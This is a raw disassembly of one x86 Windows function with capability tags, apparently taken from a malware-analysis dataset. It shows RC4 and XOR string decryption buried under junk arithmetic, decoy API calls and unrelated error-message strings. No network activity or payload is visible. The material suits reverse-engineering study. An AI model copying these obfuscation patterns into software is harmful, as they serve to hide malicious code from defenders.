Function at 0x831334
Capabilities:
Accept command line arguments
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ecx, 0xb
xor eax, eax
mov ebp, esp
push edi
push esi
lea edi, [ebp - 0xe43]
mov esi, 0x85b6a2
push ebx
sub esp, 0xe8c
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xcea]
mov esi, str.Kernel_OneCore_DeviceFamilyID
mov ecx, 0x1e
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + eax - 0xb18], al
inc eax
cmp eax, 0x100
jne 0x831366
xor esi, esi
xor ebx, ebx
mov eax, ebx
mov edi, 0x1d
xor edx, edx
mov cl, byte [ebp + ebx - 0xb18]
div edi
mov byte [ebp - 0xe7c], cl
movzx eax, byte [ebp + edx - 0xcea]
movzx edx, cl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0xb18]
mov byte [ebp + ebx - 0xb18], al
mov eax, dword [0x858bf8]
inc ebx
lea edx, [eax + 0x3d2c4b9d]
sub eax, 0x6fb80215
mov dword [0x858e80], edx
mov dword [0x858bf8], eax
call fcn.00842374
mov cl, byte [ebp - 0xe7c]
mov byte [ebp + esi - 0xb18], cl
cmp ebx, 0x100
jne 0x831379
mov dword [esp], 0x1849
xor esi, esi
xor ebx, ebx
call dword [sym.imp.USER32.dll_GetTopWindow]
xor edx, edx
push ecx
mov eax, dword [0x858e80]
mov edi, str.The_driver_does_not_support_OPM.
mov cl, byte [edi]
test cl, cl
je 0x83141d
sub ecx, 0x30
cmp cl, 9
jbe 0x83141a
and eax, 0x2990ce06
jmp 0x83141d
inc edi
jmp 0x831405
inc edx
add eax, 0x174ff653
movzx edx, dl
movzx edi, byte [ebp + edx - 0xb18]
add ebx, edi
movzx ebx, bl
mov cl, byte [ebp + ebx - 0xb18]
mov byte [ebp + edx - 0xb18], cl
mov ecx, edi
mov byte [ebp + ebx - 0xb18], cl
add cl, byte [ebp + edx - 0xb18]
movzx ecx, cl
mov cl, byte [ebp + ecx - 0xb18]
xor cl, byte [esi + ebp - 0xe43]
movzx ecx, cl
mov word [ebp + esi*2 - 0xd8a], cx
inc esi
cmp esi, 0xb
jne 0x831400
mov dword [0x858e80], eax
mov ecx, str.The_driver_does_not_support_OPM.
mov word [ebp - 0xd74], 0
mov dl, byte [ecx]
test dl, dl
je 0x8314a3
sub edx, 0x30
cmp dl, 9
jbe 0x8314a0
xor eax, 0xd4873f69
mov dword [0x858e80], eax
jmp 0x8314a3
inc ecx
jmp 0x831486
mov eax, dword [0x858e80]
lea edi, [ebp - 0xdd4]
mov esi, 0x85b6cb
mov ecx, 0x11
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xbd1]
mov esi, str.The_specified_data_could_not_be_read_from_any_of_the_copies.
mov ecx, 0x3d
rep movsb byte es:[edi], byte [esi]
add eax, 0x51187fcc
mov dword [0x858bf8], eax
or eax, 0x539339fb
mov dword [0x858e80], eax
call fcn.0083f90c
mov eax, dword [0x858e80]
xor edx, edx
add eax, 0x3b91c6f9
imul eax, eax, 0xdc362276
mov dword [0x858bf8], eax
mov byte [ebp + edx - 0xa18], dl
inc edx
cmp edx, 0x100
jne 0x8314fc
and eax, 0x5bb2f4f3
xor esi, esi
mov edi, 0x3c
mov dword [0x858e80], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor ecx, ecx
imul eax, eax, 0x655fcbf1
mov dword [ebp - 0xe7c], eax
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0xa18]
div edi
movzx eax, byte [ebp + edx - 0xbd1]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0xa18]
mov byte [ebp + ecx - 0xa18], al
inc ecx
mov byte [ebp + esi - 0xa18], bl
cmp ecx, 0x100
jne 0x831531
xor ebx, ebx
xor ecx, ecx
xor edx, edx
inc edx
movzx edx, dl
movzx edi, byte [ebp + edx - 0xa18]
add ecx, edi
movzx ecx, cl
mov al, byte [ebp + ecx - 0xa18]
mov byte [ebp + edx - 0xa18], al
mov eax, edi
mov byte [ebp + ecx - 0xa18], al
add al, byte [ebp + edx - 0xa18]
movzx eax, al
mov al, byte [ebp + eax - 0xa18]
xor al, byte [ebx + ebp - 0xdd4]
movzx eax, al
mov word [ebp + ebx*2 - 0xccc], ax
inc ebx
cmp ebx, 0x11
jne 0x831574
lea edi, [ebp - 0xe38]
mov esi, str.___
mov ecx, 0xb
mov word [ebp - 0xcaa], 0
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xc0c]
mov esi, 0x85b724
mov ecx, 0x3b
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebp - 0xe7c]
or eax, 0x9f76ecff
mov dword [0x858bf8], eax
xor eax, eax
mov byte [ebp + eax - 0x918], al
inc eax
cmp eax, 0x100
jne 0x831604
xor edi, edi
xor ebx, ebx
mov edx, str.The_driver_does_not_support_OPM.
mov ecx, 0x1ff5
movzx eax, byte [edx]
inc edx
test al, al
je 0x83163d
add ecx, eax
cmp ecx, 0x173f
jbe 0x831621
xor dword [0x858bf8], 0x7d20f633
mov eax, dword [0x858bf8]
mov esi, 0x3a
xor edx, edx
lea ecx, [eax - 0x1f7b02c6]
mov al, byte [ebp + ebx - 0x918]
mov dword [0x858bf8], ecx
mov byte [ebp - 0xe7c], al
mov eax, ebx
div esi
mov al, byte [ebp - 0xe7c]
add al, byte [ebp + edx - 0xc0c]
add eax, edi
movzx edi, al
mov al, byte [ebp + edi - 0x918]
mov byte [ebp + ebx - 0x918], al
xor eax, eax
cmp byte [eax + str.WER_Heap:_u:_ERROR_Invalid_arguments], 0
je 0x8316ab
inc eax
cmp eax, 0x1b2b
jne 0x831688
or ecx, 0xdfaecd7a
imul ecx, ecx, 0xdbf45f63
mov dword [0x858bf8], ecx
mov eax, dword [0x858bf8]
inc ebx
or eax, 0x8b345bfc
mov dword [0x858e80], eax
call fcn.00842374
mov al, byte [ebp - 0xe7c]
mov byte [ebp + edi - 0x918], al
cmp ebx, 0x100
jne 0x831617
xor edx, edx
xor edi, edi
xor esi, esi
lea eax, [esi + 1]
movzx esi, al
mov bl, byte [ebp + esi - 0x918]
lea eax, [ebx + edi]
movzx edi, al
xor eax, eax
cmp byte [eax + str.sRGB_Color_Space_Profile.icm], 0
je 0x83170f
inc eax
cmp eax, 0x137d
jne 0x8316f4
add dword [0x858bf8], 0x64678cb6
mov eax, dword [0x858e80]
mov dword [ebp - 0xe7c], edx
xor dword [0x858bf8], 0xb3c50d3b
or eax, 0xd54eb95d
sub eax, 0x118a776c
mov dword [0x858e80], eax
call dword [sym.imp.USER32.dll_GetMessageTime]
mov edx, dword [ebp - 0xe7c]
or eax, 0x99ddbde0
mov dword [0x858bf8], eax
mov al, byte [ebp + edi - 0x918]
mov byte [ebp + esi - 0x918], al
mov byte [ebp + edi - 0x918], bl
add bl, byte [ebp + esi - 0x918]
movzx ebx, bl
mov al, byte [ebp + ebx - 0x918]
xor al, byte [ebp + edx - 0xe38]
movzx eax, al
mov word [ebp + edx*2 - 0xd74], ax
inc edx
cmp edx, 0xb
jne 0x8316df
lea edi, [ebp - 0xdfd]
mov esi, 0x85b75f
mov ecx, 3
mov word [ebp - 0xd5e], 0
rep movsd dword es:[edi], dword [esi]
mov dword [esp], str.Stick_PC
lea edi, [ebp - 0xb94]
call fcn.00843f48
mov esi, dword [0x858e80]
mov ebx, dword [0x858bf8]
call fcn.00843958
mov ecx, 0x3d
mov edx, str.sRGB_Color_Space_Profile.icm
and esi, 0x59133148
add ebx, 0x6b89f1e
imul esi, esi, 0x10701df7
mov dword [0x858bf8], ebx
sub esi, 0x446940c7
mov dword [0x858e80], esi
mov esi, str.The_specified_Windows_Image__WIM__is_not_marked_as_bootable.
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x839
movsx eax, byte [edx]
inc edx
test al, al
je 0x831824
add ecx, eax
cmp ecx, 0x1095
jbe 0x831803
call fcn.0083f90c
xor dword [0x858e80], 0xb8d86f0c
mov eax, dword [0x858e80]
and eax, 0x732e1cb2
lea edx, [eax + 0x1b251de9]
mov dword [0x858bf8], eax
mov dword [0x858e80], edx
mov dword [esp], edx
mov dword [esp + 8], eax
mov dword [esp + 4], eax
call fcn.00842138
mov eax, dword [0x858bf8]
or eax, 0x7fd38057
add eax, 0x1e3e1ea8
mov dword [0x858e80], eax
mov dword [esp], eax
call dword [sym.imp.USER32.dll_IsIconic]
push edx
mov eax, dword [0x858e80]
xor edx, edx
sub eax, 0x6c464129
mov ecx, eax
or ecx, 0xacf2a6da
mov dword [0x858bf8], ecx
mov byte [ebp + edx - 0x818], dl
inc edx
cmp edx, 0x100
jne 0x831887
mov ebx, str.WER_Heap:_u:_ERROR_Invalid_arguments
mov esi, 0x1684
movsx edx, byte [ebx]
inc ebx
test dl, dl
je 0x8318d8
add esi, edx
cmp esi, 0x1acb
jbe 0x8318a1
and eax, 0xb87cbb3d
or eax, 0xa870a218
mov dword [0x858e80], eax
call fcn.00841610
mov eax, dword [0x858e80]
sub eax, 0x3775baf1
mov dword [0x858bf8], eax
jmp 0x8318e4
sub ecx, 0x7a0c614
mov dword [0x858e80], ecx
mov eax, dword [0x858e80]
mov edx, dword [0x858bf8]
xor esi, esi
mov edi, 0x3c
add eax, 0x649cd7bc
mov dword [0x858e80], eax
mov dword [esp + 4], eax
mov dword [esp], eax
mov dword [esp + 8], edx
call fcn.00842138
mov eax, dword [0x858bf8]
xor ecx, ecx
xor eax, 0x519160bb
mov dword [ebp - 0xe7c], eax
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x818]
div edi
movzx eax, byte [ebp + edx - 0xb94]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x818]
mov byte [ebp + ecx - 0x818], al
inc ecx
mov byte [ebp + esi - 0x818], bl
cmp ecx, 0x100
jne 0x831922
mov edi, dword [ebp - 0xe7c]
mov byte [ebp - 0x719], al
mov byte [ebp + esi - 0x818], bl
xor esi, esi
xor ebx, ebx
mov dword [0x858e80], edi
xor edi, edi
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
inc ebx
movzx ebx, bl
xor eax, 0x4f701153
mov dword [0x858bf8], eax
mov al, byte [ebp + ebx - 0x818]
lea edx, [eax + esi]
movzx esi, dl
mov dl, byte [ebp + esi - 0x818]
mov byte [ebp + ebx - 0x818], dl
mov byte [ebp + esi - 0x818], al
add al, byte [ebp + ebx - 0x818]
movzx eax, al
mov al, byte [ebp + eax - 0x818]
xor al, byte [ebp + edi - 0xdfd]
movzx eax, al
mov word [ebp + edi*2 - 0xd1c], ax
inc edi
cmp edi, 0xc
jne 0x83197e
mov word [ebp - 0xd04], 0
lea edi, [ebp - 0xdf1]
mov esi, 0x85b7a8
mov ecx, 0xd
rep movsb byte es:[edi], byte [esi]
mov byte [ebp - 0xe62], 0
mov dword [ebp - 0xe6a], 0x5354434f
mov dword [ebp - 0xe66], 0x46464f3d
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
mov eax, dword [0x858bf8]
sub eax, 0x41e1185f
mov dword [0x858bf8], eax
mov dword [esp + 4], eax
mov dword [esp], str.The_driver_does_not_support_OPM.
call fcn.008420d0
xor eax, eax
mov byte [ebp + eax - 0x718], al
inc eax
cmp eax, 0x100
jne 0x831a3a
xor ebx, ebx
xor ecx, ecx
mov eax, ecx
movzx esi, byte [ebp + ecx - 0x718]
and eax, 7
movzx eax, byte [ebp + eax - 0xe6a]
mov edx, esi
add eax, esi
add ebx, eax
movzx ebx, bl
mov al, byte [ebp + ebx - 0x718]
mov byte [ebp + ecx - 0x718], al
inc ecx
mov byte [ebp + ebx - 0x718], dl
cmp ecx, 0x100
jne 0x831a4d
call fcn.00842374
mov eax, dword [0x858e80]
xor esi, esi
xor ebx, ebx
xor ecx, ecx
and eax, 0x4916ad62
or eax, 0x7b2684ad
mov dword [ebp - 0xe7c], eax
inc ecx
mov edi, str.The_driver_does_not_support_OPM.
movzx ecx, cl
mov al, byte [edi]
lea edx, [eax - 0x30]
cmp dl, 9
ja 0x831abf
inc edi
jmp 0x831ab2
mov dl, byte [ebp + ecx - 0x718]
add ebx, edx
movzx ebx, bl
mov al, byte [ebp + ebx - 0x718]
mov byte [ebp + ecx - 0x718], al
mov byte [ebp + ebx - 0x718], dl
add dl, byte [ebp + ecx - 0x718]
movzx edx, dl
mov dl, byte [ebp + edx - 0x718]
xor dl, byte [esi + ebp - 0xdf1]
movzx edx, dl
mov word [ebp + esi*2 - 0xd04], dx
inc esi
cmp esi, 0xd
jne 0x831aa9
mov eax, dword [ebp - 0xe7c]
lea edi, [ebp - 0xe2d]
mov esi, 0x85b7b5
mov word [ebp - 0xcea], 0
mov ecx, 0xb
rep movsb byte es:[edi], byte [esi]
sub eax, 0x43d82fb3
lea edi, [ebp - 0xe61]
mov esi, 0x85b7c0
imul edx, eax, 0xd5078ff0
mov ecx, 0xa
rep movsb byte es:[edi], byte [esi]
mov ecx, str.The_driver_does_not_support_OPM.
mov dword [0x858e80], edx
movzx edi, byte [ecx]
lea edx, [edi - 0x30]
cmp dl, 9
ja 0x831b60
inc ecx
jmp 0x831b52
imul eax, eax, 0x6d668750
mov dword [0x858bf8], eax
call fcn.00842374
xor eax, eax
mov byte [ebp + eax - 0x618], al
inc eax
cmp eax, 0x100
jne 0x831b72
xor esi, esi
xor ebx, ebx
mov ecx, 9
mov eax, ebx
xor edx, edx
movzx edi, byte [ebp + ebx - 0x618]
div ecx
mov eax, edi
add al, byte [ebp + edx - 0xe61]
mov edx, dword [0x858e80]
add eax, esi
movzx esi, al
imul eax, edx, 0x240244de
mov dword [0x858bf8], eax
xor eax, eax
cmp byte [eax + str.The_driver_does_not_support_OPM.], 0
je 0x831bdc
inc eax
cmp eax, 0x1b90
jne 0x831bb9
add edx, 0x40046077
mov dword [0x858e80], edx
call dword [sym.imp.USER32.dll_AnyPopup]
mov eax, dword [0x858bf8]
lea edx, [eax + 0xa415d6f]
or eax, 0x8a10fb17
mov dword [0x858e80], edx
mov dword [0x858bf8], eax
mov dword [esp + 8], edx
mov dword [esp], eax
mov dword [esp + 0xc], str.The_driver_does_not_support_OPM.
mov dword [esp + 4], str.sRGB_Color_Space_Profile.icm
call fcn.008439c0
mov al, byte [ebp + esi - 0x618]
mov edx, dword [0x858bf8]
cmp byte [str.The_driver_does_not_support_OPM.], 0
mov byte [ebp + ebx - 0x618], al
lea eax, [edx + 0x44cf09f4]
je 0x831c42
xor edx, 0x8a6448e9
mov dword [0x858bf8], edx
or eax, 0x4d238dca
inc ebx
sub eax, 0x3b93c08f
mov dword [0x858e80], eax
mov dword [esp + 8], eax
mov dword [esp], eax
mov dword [esp + 0xc], str.The_driver_does_not_support_OPM.
mov dword [esp + 4], str.The_driver_does_not_support_OPM.
call fcn.008439c0
mov eax, edi
mov byte [ebp + esi - 0x618], al
cmp ebx, 0x100
jne 0x831b85
mov eax, dword [0x858e80]
xor ecx, ecx
xor esi, esi
xor ebx, ebx
mov dword [ebp - 0xe7c], eax
lea edi, [eax + 0x6605924a]
inc ebx
movzx ebx, bl
mov al, byte [ebp + ebx - 0x618]
add esi, eax
mov edx, esi
movzx esi, dl
mov dl, byte [ebp + esi - 0x618]
mov byte [ebp + ebx - 0x618], dl
mov byte [ebp + esi - 0x618], al
add al, byte [ebp + ebx - 0x618]
movzx eax, al
mov al, byte [ebp + eax - 0x618]
xor al, byte [ecx + ebp - 0xe2d]
movzx eax, al
mov word [ebp + ecx*2 - 0xd5e], ax
inc ecx
cmp ecx, 0xb
jne 0x831c9a
cmp byte [str.The_driver_does_not_support_OPM.], 0
mov dword [0x858bf8], edi
mov esi, 0x85b7ca
lea edi, [ebp - 0xe22]
mov word [ebp - 0xd48], 0
rep movsb byte es:[edi], byte [esi]
je 0x831d21
mov edx, dword [ebp - 0xe7c]
add edx, 0x6ff628bd
mov dword [0x858e80], edx
mov dword [esp + 4], str.SdbpGetMappedData
lea edi, [ebp - 0xc60]
mov esi, 0x85b7d5
mov dword [esp], 0x85b052
call fcn.00841940
mov eax, dword [0x858e80]
mov ecx, 0xa
rep movsd dword es:[edi], dword [esi]
mov edx, eax
xor eax, 0x90fd1c1a
and edx, 0x6d931529
mov dword [0x858e80], eax
mov dword [0x858bf8], edx
mov dword [esp + 4], str.TPM_1.2:_The_migration_properties_of_this_key_are_incorrect.
mov dword [esp], 0x85b0ea
call fcn.00842e04
mov eax, dword [0x858e80]
or eax, 0x543b0e9e
sub eax, 0x2c158d89
mov edx, eax
mov dword [0x858e80], eax
xor edx, 0xf24cbeb8
mov dword [0x858bf8], edx
mov dword [esp + 8], eax
mov dword [esp], edx
mov dword [esp + 0xc], str.sRGB_Color_Space_Profile.icm
mov dword [esp + 4], str.sRGB_Color_Space_Profile.icm
call fcn.008439c0
mov eax, dword [0x858bf8]
mov edx, str.sRGB_Color_Space_Profile.icm
mov ecx, 0x17b9
lea ebx, [eax - 0x8139f61]
movsx eax, byte [edx]
inc edx
test al, al
je 0x831df6
add ecx, eax
cmp ecx, 0x25bf
jbe 0x831dcb
call fcn.00843958
or ebx, 0x6590f17
add ebx, 0x3e5f2e78
mov dword [0x858bf8], ebx
jmp 0x831e08
and ebx, 0x12e31305
mov dword [0x858e80], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov eax, dword [0x858bf8]
xor ebx, ebx
add eax, 0x1273cb17
mov dword [0x858e80], eax
cmp byte [str.The_driver_does_not_support_OPM.], 0
mov eax, dword [0x858bf8]
je 0x831e35
mov edx, eax
xor edx, 0xe7213af0
mov dword [0x858e80], edx
mov dword [esp + 8], eax
mov dword [esp], eax
mov dword [esp + 0xc], str.WER_Heap:_u:_ERROR_Invalid_arguments
mov dword [esp + 4], str.The_driver_does_not_support_OPM.
call fcn.008439c0
mov eax, dword [0x858bf8]
or eax, 0xe06a102e
mov dword [0x858e80], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor eax, 0x4ba7774d
mov dword [0x858e80], eax
mov dword [esp + 0xc], str.The_driver_does_not_support_OPM.
mov dword [esp + 8], eax
mov dword [esp + 4], str.sRGB_Color_Space_Profile.icm
mov eax, dword [0x858bf8]
mov dword [esp], eax
call fcn.008439c0
mov eax, dword [0x858bf8]
mov byte [ebp + ebx - 0x518], bl
inc ebx
sub eax, 0x4259f918
mov dword [0x858e80], eax
cmp ebx, 0x100
jne 0x831e19
xor esi, esi
xor ecx, ecx
mov edi, 0x27
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x518]
div edi
movzx eax, byte [ebp + edx - 0xc60]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x518]
mov byte [ebp + ecx - 0x518], al
inc ecx
mov byte [ebp + esi - 0x518], bl
cmp ecx, 0x100
jne 0x831ebd
xor edx, edx
xor edi, edi
xor esi, esi
mov eax, dword [0x858e80]
mov dword [ebp - 0xe80], edx
xor eax, 0x775751dd
mov dword [0x858bf8], eax
lea eax, [esi + 1]
movzx esi, al
mov bl, byte [ebp + esi - 0x518]
lea eax, [ebx + edi]
movzx edi, al
mov al, byte [ebp + edi - 0x518]
mov byte [ebp + esi - 0x518], al
call dword [sym.imp.KERNEL32.dll_GetTickCount]
call fcn.00843958
imul eax, dword [0x858bf8], 0x9c377f1b
mov dword [0x858e80], eax
xor eax, 0xc807c139
mov dword [0x858bf8], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov eax, dword [0x858bf8]
mov byte [ebp + edi - 0x518], bl
and eax, 0x2be81332
imul eax, eax, 0xf8b71f17
mov dword [0x858bf8], eax
xor eax, 0x2495ca67
mov dword [ebp - 0xe7c], eax
call fcn.00843958
mov edx, dword [ebp - 0xe80]
mov ecx, str.The_driver_does_not_support_OPM.
mov al, byte [ecx]
test al, al
je 0x831fb9
sub eax, 0x30
cmp al, 9
jbe 0x831fb6
mov eax, dword [ebp - 0xe7c]
add eax, 0x1de35973
mov dword [0x858bf8], eax
jmp 0x831fb9
inc ecx
jmp 0x831f97
imul eax, dword [ebp - 0xe7c], 0xe579cec3
add bl, byte [ebp + esi - 0x518]
movzx ebx, bl
mov dword [0x858e80], eax
mov al, byte [ebp + ebx - 0x518]
xor al, byte [ebp + edx - 0xe22]
movzx eax, al
mov word [ebp + edx*2 - 0xd48], ax
inc edx
cmp edx, 0xb
jne 0x831f00
mov eax, dword [0x858bf8]
lea edi, [ebp - 0xe57]
mov esi, 0x85b7fd
mov word [ebp - 0xd32], 0
mov dword [esp + 0xc], str.The_driver_does_not_support_OPM.
mov dword [esp + 8], eax
mov dword [esp], eax
mov dword [esp + 4], str.The_driver_does_not_support_OPM.
call fcn.008439c0
mov eax, dword [0x858bf8]
mov ecx, 0xa
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xb57]
mov esi, 0x85b807
mov ecx, 0x3f
rep movsb byte es:[edi], byte [esi]
xor eax, 0xa3ba816e
mov dword [0x858bf8], eax
sub eax, 0x2a801cd1
or eax, 0x5f717ee1
mov dword [0x858e80], eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov edx, str.The_driver_does_not_support_OPM.
mov ecx, 0xad3
movzx eax, byte [edx]
inc edx
test al, al
je 0x8320b3
add ecx, eax
cmp ecx, 0xd7b
jbe 0x832071
mov eax, dword [0x858bf8]
mov dword [esp + 8], eax
mov dword [esp + 4], eax
mov eax, dword [0x858e80]
mov dword [esp], eax
call fcn.00842138
mov eax, dword [0x858e80]
or dword [0x858bf8], 0xd06d4273
add eax, 0xc962183
jmp 0x8320bd
imul eax, dword [0x858e80], 0x9361ac15
and eax, 0xe497ec9a
mov dword [0x858e80], eax
mov dword [esp + 4], str._Microsoft_Root_Certificate_Authority_20100
mov dword [esp], str.Log_service_encountered_a_remapped_log_sector.
call fcn.00841940
xor eax, eax
mov byte [ebp + eax - 0x418], al
inc eax
cmp eax, 0x100
jne 0x8320dd
mov eax, dword [0x858e80]
sub eax, 0x607370ca
mov dword [0x858bf8], eax
call dword [sym.imp.USER32.dll_GetMessageTime]
cmp byte [str.The_driver_does_not_support_OPM.], 0
je 0x83211a
imul eax, eax, 0xb5982e6d
sub eax, 0x33ca4b86
mov dword [0x858bf8], eax
mov eax, dword [0x858bf8]
xor esi, esi
mov edi, 0x3e
add eax, 0x1eef39e8
mov dword [0x858e80], eax
mov dword [esp + 4], eax
mov dword [esp], str.The_driver_does_not_support_OPM.
call fcn.008420d0
xor ecx, ecx
mov eax, ecx
xor edx, edx
mov bl, byte [ebp + ecx - 0x418]
div edi
movzx eax, byte [ebp + edx - 0xb57]
movzx edx, bl
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x418]
mov byte [ebp + ecx - 0x418], al
inc ecx
mov byte [ebp + esi - 0x418], bl
cmp ecx, 0x100
jne 0x832142
xor edi, edi
xor esi, esi
xor ebx, ebx
inc ebx
mov edx, str.sRGB_Color_Space_Profile.icm
mov ecx, 0x9a0
movzx ebx, bl
movsx eax, byte [edx]
inc edx
test al, al
je 0x8321aa
add ecx, eax
cmp ecx, 0x169d
jbe 0x832193
call fcn.00841610
mov eax, dword [0x858bf8]
sub eax, 0x4e57ba18
mov dword [0x858e80], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov al, byte [ebp + ebx - 0x418]
lea edx, [eax + esi]
movzx esi, dl
mov dl, byte [ebp + esi - 0x418]
mov byte [ebp + ebx - 0x418], dl
mov byte [ebp + esi - 0x418], al
add al, byte [ebp + ebx - 0x418]
movzx eax, al
mov al, byte [ebp + eax - 0x418]
xor al, byte [ebp + edi - 0xe57]
movzx eax, al
mov word [ebp + edi*2 - 0xdb2], ax
inc edi
cmp edi, 0xa
jne 0x832185
mov word [ebp - 0xd9e], 0
lea edi, [ebp - 0xe17]
mov esi, 0x85b846
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, dword [0x858bf8]
mov ecx, 0xb
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0xc87]
mov esi, 0x85b851
mov ecx, 0x27
rep movsb byte es:[edi], byte [esi]
lea edx, [eax + 0x70645646]
or eax, 0xb73c4f0a
xor eax, 0x218d0a63
mov dword [0x858e80], edx
add eax, 0x317ef144
mov dword [0x858bf8], eax
xor eax, eax
mov byte [eax + ebp - 0x318], al
inc eax
cmp eax, 0x100
jne 0x832268
xor edi, edi
xor ebx, ebx
mov ecx, 0x26
mov eax, ebx
xor edx, edx
movzx esi, byte [ebp + ebx - 0x318]
div ecx
mov eax, esi
add al, byte [ebp + edx - 0xc87]
mov edx, str.The_driver_does_not_support_OPM.
add eax, edi
movzx edi, al
mov al, byte [edx]
test al, al
je 0x8322bd
sub eax, 0x30
cmp al, 9
jbe 0x8322ba
xor dword [0x858e80], 0x514cb7cc
jmp 0x8322bd
inc edx
jmp 0x8322a1
or dword [0x858e80], 0xed38fe13
mov dword [esp + 4], 0x85b1dc
mov dword [esp], str.The_specified_pack_name_is_invalid.
call fcn.00842e04
mov eax, dword [0x858bf8]
and eax, 0x54ae6fc9
add eax, 0x156a3ea9
mov dword [0x858e80], eax
mov dword [esp], str.Kernel_MUI_Number_Allowed
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
mov al, byte [ebp + edi - 0x318]
mov byte [ebp + ebx - 0x318], al
mov eax, esi
inc ebx
mov byte [ebp + edi - 0x318], al
cmp ebx, 0x100
jne 0x83227b
xor edi, edi
xor esi, esi
xor ebx, ebx
mov edx, str.The_driver_does_not_support_OPM.
mov ecx, 0x11eb
movzx eax, byte [edx]
inc edx
test al, al
je 0x832361
add ecx, eax
cmp ecx, 0x1097
jbe 0x832331
mov dword [esp + 4], str.The_system_license_has_expired._Your_logon_request_is_denied.
mov dword [esp], str.The_KDC_reply_contained_more_than_one_principal_name.
call fcn.00842e04
add dword [0x858e80], 0x5f9ffd01
inc ebx
mov eax, dword [0x858e80]
movzx ebx, bl
mov dl, byte [ebp + ebx - 0x318]
add eax, 0x599d055a
imul eax, eax, 0x505d11a7
lea ecx, [edx + esi]
movzx esi, cl
mov cl, byte [ebp + esi - 0x318]
mov dword [0x858bf8], eax
add eax, 0x6d9ce63c
mov dword [0x858e80], eax
mov byte [ebp + ebx - 0x318], cl
mov byte [ebp + esi - 0x318], dl
add dl, byte [ebp + ebx - 0x318]
movzx edx, dl
mov dl, byte [ebp + edx - 0x318]
xor dl, byte [ebp + edi - 0xe17]
movzx edx, dl
mov word [ebp + edi*2 - 0xd32], dx
inc edi
cmp edi, 0xb
jne 0x832327
mov word [ebp - 0xd1c], 0
mov ecx, str.The_driver_does_not_support_OPM.
mov ebx, 0xfe4
movzx edx, byte [ecx]
inc ecx
test dl, dl
je 0x832415
add ebx, edx
cmp ebx, 0x1999
jbe 0x8323e6
imul eax, eax, 0x25834a0f
mov dword [0x858e80], eax
mov dword [esp + 8], eax
mov dword [esp + 4], eax
mov dword [esp], eax
call fcn.00842138
jmp 0x83241f
xor eax, 0x1a363906
mov dword [0x858bf8], eax
lea edi, [ebp - 0xcaa]
mov esi, str.The_validation_was_not_successful.
mov ecx, 0x23
mov dword [ebp - 0xe72], 0x94fd9a11
imul eax, dword [0x858bf8], 0x7a738ad8
mov dword [ebp - 0xe6e], 0x8277db0f
rep movsb byte es:[edi], byte [esi]
xor eax, 0xb54e8868
mov edi, eax
lea eax, [eax - 0x706520c]
mov dword [0x858e80], eax
imul eax, edi, 0xc1369852
mov dword [0x858bf8], eax
xor eax, eax
mov byte [ebp + eax - 0x218], al
inc eax
cmp eax, 0x100
jne 0x83246e
xor esi, esi
xor ecx, ecx
mov al, byte [ebp + ecx - 0x218]
mov ebx, 0x22
xor edx, edx
mov byte [ebp - 0xe7c], al
mov eax, ecx
div ebx
movzx eax, byte [ebp + edx - 0xcaa]
movzx edx, byte [ebp - 0xe7c]
add eax, edx
add eax, esi
movzx esi, al
mov al, byte [ebp + esi - 0x218]
mov byte [ebp + ecx - 0x218], al
mov al, byte [ebp - 0xe7c]
inc ecx
mov byte [ebp + esi - 0x218], al
cmp ecx, 0x100
jne 0x832481
xor eax, eax
cmp byte [eax + str.sRGB_Color_Space_Profile.icm], 0
je 0x83250b
inc eax
cmp eax, 0x2175
jne 0x8324d5
mov dword [esp + 4], str.The_IPsec_cipher_transform_is_not_valid.
mov dword [esp], str.WER_CrashAPI:_u:_ERROR_Invalid_params
call fcn.00842e04
mov eax, dword [0x858e80]
xor eax, 0x674132ef
mov dword [0x858bf8], eax
jmp 0x832518
imul edi, edi, 0x44b8acea
cmp eax, 0x1db4
jle 0x832523
mov eax, dword [0x858bf8]
lea edi, [eax + 0x2cb75205]
sub edi, 0x2a833868
xor esi, esi
xor ebx, ebx
mov dword [0x858e80], edi
mov dword [esp + 4], edi
xor edi, edi
mov dword [esp], str.The_driver_does_not_support_OPM.
call fcn.008420d0
imul eax, dword [0x858bf8], 0x2e6c1162
inc ebx
xor dword [0x858e80], 0xa9799b45
movzx ebx, bl
mov dword [0x858bf8], eax
mov dword [esp + 4], str.GetPrinterDriverA
mov dword [esp], str.HandleTraces
call fcn.00841940
mov dl, byte [ebp + ebx - 0x218]
mov eax, dword [0x858bf8]
lea ecx, [edx + esi]
sub eax, 0x7b71e624
movzx esi, cl
mov dword [0x858e80], eax
mov cl, byte [ebp + esi - 0x218]
mov byte [ebp + ebx - 0x218], cl
mov byte [ebp + esi - 0x218], dl
add dl, byte [ebp + ebx - 0x218]
movzx edx, dl
mov dl, byte [ebp + edx - 0x218]
xor dl, byte [ebp + edi - 0xe72]
movzx edx, dl
mov word [ebp + edi*2 - 0xde4], dx
inc edi
cmp edi, 8
jne 0x832545
